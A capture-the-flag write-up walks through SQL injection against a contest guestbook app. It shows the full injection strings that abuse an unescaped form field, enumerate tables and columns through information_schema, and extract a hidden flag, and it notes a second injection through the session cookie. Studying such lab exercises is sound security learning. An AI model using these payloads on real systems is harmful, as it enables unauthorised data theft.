Level 1The link provided to us was https://ctf.secur3.us/, which had an invalid certificate, but could also be accessed over HTTP (Note that this link, and likely all other CTF links, might no longer work when you are reading this but I kept them intact for this writeup.) The link was an application that contained a "guestbook," where people could leave and view messages. The form (shown below) and the guestbook entries (not shown) had three fields: name, handle, and comment.
Getting StartedThe two things to test for immediately are CrossSite Scripting (XSS) and SQL injection. The former doesn't work, but leaving single quotes in the three fields results in an error page redirecting to the guestbook. If you are quick enough to stop the redirection, a suspicious value appears in the source code:
<img src=/images/fail.jpg ALT=SU5TRVJUIElOVE8gZmVlZGJhY2sobmFtZSwgZW1haWwsIGNvbW1lbnQsIGRhdGV0aW1lLCBTSUQpIFZBTFVFUygnXCcnLCAnJycsICdcJ ycsICcxNS0wMy0yOCAwOTo0MjoxOScsICdic3NpaWx1NjBvOWJiNGFzZHB1MTM1ZmtnMScp.jpg height=0 width=0>Though there are no equal signs at the end, the ALT value (without the .jpg extension) is the Base64 encoding of the following string, which represents the SQL query that was executed and failed:
INSERT INTO feedback(name, email, comment, datetime, SID) VALUES('\'', ''', '\'', '15‐03‐28 09:42:19','bssiilu60o9bb4asdpu135fkg1')The problem is indicated in red: the handle parameter (corresponding to email in the table) is not escaped! Indeed, setting handle to be
' + (SELECT VERSION()) + 'works... but only partially. The problem is that MySQL string concatenation requires an explicit function call, and addition (with a + sign) treats strings as numbers, thus returning only part of the version (5.6) in the handle entry in the guestbook. We are, however, lucky: the comment column (which contains the feedback) appears after the email column, so we can ignore the rest of the existing query by commenting it out, and thus rewrite it entirely with
', (SELECT VERSION()), '15‐03‐28 09:42:19', 'bssiilu60o9bb4asdpu135fkg1')#The full query becomes as follows, with the original part of the query in blue, the inserted value in red, and the commented out part in strikethrough grey:
INSERT INTO feedback(name, email, comment, datetime, SID) VALUES('', '', (SELECT VERSION()), '15‐03‐28
09:42:19', 'bssiilu60o9bb4asdpu135fkg1')#', '', '15‐03‐28 09:53:25', 'bssiilu60o9bb4asdpu135fkg1')Note here that doing the usual double dash (‐‐) for comments does not work, and that the session id (SID) needs to be the same as before (and the same as PHPSESSID), so that the injection can be viewed in the guestbook:
Recovering Table and Column NamesThe next step is getting the table names:
tableX', (SELECT table_name FROM information_schema.tables WHERE table_schema='ctf' LIMIT 1 OFFSET X), '15‐
03‐28 09:42:19', 'bssiilu60o9bb4asdpu135fkg1')#Altering the value of X (starting at 0) gives us the following tables: accounts, feedback, and items. Similarly for the column names:
YcolumnX', (SELECT column_name FROM information_schema.columns WHERE table_schema='ctf' AND table_name='Y'
LIMIT 1 OFFSET X), '15‐03‐28 09:42:19', 'bssiilu60o9bb4asdpu135fkg1')#The accounts columns are id, account_id, account_pin, lastname, firstname, and balance, while for items they are id, name, price, brief, and private.
The EndgameA reasonable assumption to make is that the flag is in the items table for an entry that has the private column set:
private', (SELECT private FROM items WHERE private IS NOT NULL), '15‐03‐28 09:42:19', 'bssiilu60o9bb4asdpu135fkg1')#
Red Herrings and Easter EggsOf course, not everything was this linear and on the right track. For one, there were some weird comments in the guestbook source. As an example, the word "test" was represented as t<!‐‐e‐‐>e<!‐‐t‐‐>s<!‐‐set‐‐>t. This was possibly to make XSS and automated injections harder, but it turned out to be irrelevant at the end. An injection was also possible using the PHPSESSID variable. An empty value or a value with quotes revealed the format of yet another table:
INSERT INTO guestbook(message,handle,contact,SID) VALUES('1','2','3','');Once more, this table did not matter, and from the investigation above it looks like it doesn't even exist! This was quite problematic when I was initially testing the injection, because I couldn't use either the guestbook or the feedback tables. Finally, for completeness, the other columns for the flag were Flag, $59.10, and This is not the flag you are looking for. (Or is it?). The other rows contained a lot of references to the TV series Lost. Now level 1 is complete, you’ll have to wait until part two to find out how I finished the challenge.